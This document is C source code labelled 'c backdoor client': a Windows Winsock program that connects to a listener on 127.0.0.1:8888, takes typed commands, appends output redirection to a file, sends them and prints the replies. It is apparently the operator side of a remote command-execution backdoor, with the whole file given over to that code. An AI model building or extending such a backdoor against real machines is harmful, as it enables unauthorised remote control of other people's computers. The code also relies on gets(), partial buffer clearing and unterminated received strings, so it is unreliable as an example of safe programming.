c backdoor client

/*
Create a TCP socket
*/

#include<stdio.h>
#include<winsock2.h>

#pragma comment(lib,"ws2_32.lib") //Winsock Library

int main(int argc, char *argv[])
{
	WSADATA wsa;
	SOCKET s;
	struct sockaddr_in server;
	char *message;
	char server_reply[100000];
	char command[1000];
	int recv_size, i, clean;

	for (i = 0; i < 1024; i++)
		server_reply[i] = '\0';

	printf("\nInitialising Winsock...");
	if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
	{
		printf("Failed. Error Code : %d", WSAGetLastError());
		return 1;
	}

	printf("Initialised.\n");

	//Create a socket
	if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
	{
		printf("Could not create socket : %d", WSAGetLastError());
	}

	printf("Socket created.\n");


	server.sin_addr.s_addr = inet_addr("127.0.0.1");
	server.sin_family = AF_INET;
	server.sin_port = htons(8888);

	//Connect to remote server
	if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
	{
		puts("connect error");
		return 1;
	}

	puts("Connected");

	//Send some data
	while (1)
	{
		printf("\n > ");
		gets(command);

		printf("\nCommand: %s\nstrlen command : %d", command, strlen(command));
		getchar();
		if (strcmp(command, "chdir") == 0)
		{
			if (send(s, command, strlen(command), 0) < 0)
			{
				puts("Send failed");
				return 1;
			}
			puts("Data Send\n");

			//Receive a reply from the server
			if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
			{
				puts("recv failed");
			}

			printf("Reply received\n : %d bytes\n", recv_size);

			//Add a NULL terminating character to make it a proper string before printing

			printf("%s\n", server_reply);

			for (clean = 0; clean < 100000; clean++)
				server_reply[clean] = '\0';

			gets(command);
			if (send(s, command, strlen(command), 0) < 0)
			{
				puts("Send failed");
				return 1;
			}
			puts("Data Send\n");

			if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
			{
				puts("recv failed");
			}

			printf("Reply received\n : %d bytes\n", recv_size);

			//Add a NULL terminating character to make it a proper string before printing

			printf("%s\n", server_reply);

			for (clean = 0; clean < 100000; clean++)
				server_reply[clean] = '\0';

		}
		else
		{
			strcat(command, "> cmd.txt");
			printf("\nCommand: %s\nstrlen command : %d", command, strlen(command));


			if (send(s, command, strlen(command), 0) < 0)
			{
				puts("Send failed");
				return 1;
			}
			puts("Data Send\n");

			//Receive a reply from the server
			if ((recv_size = recv(s, server_reply, sizeof(server_reply), 0)) == SOCKET_ERROR)
			{
				puts("recv failed");
			}

			printf("Reply received\n : %d bytes\n", recv_size);

			//Add a NULL terminating character to make it a proper string before printing

			printf("%s\n", server_reply);

			for (clean = 0; clean < 100000; clean++)
				server_reply[clean] = '\0';

		}
	}
	return 0;
}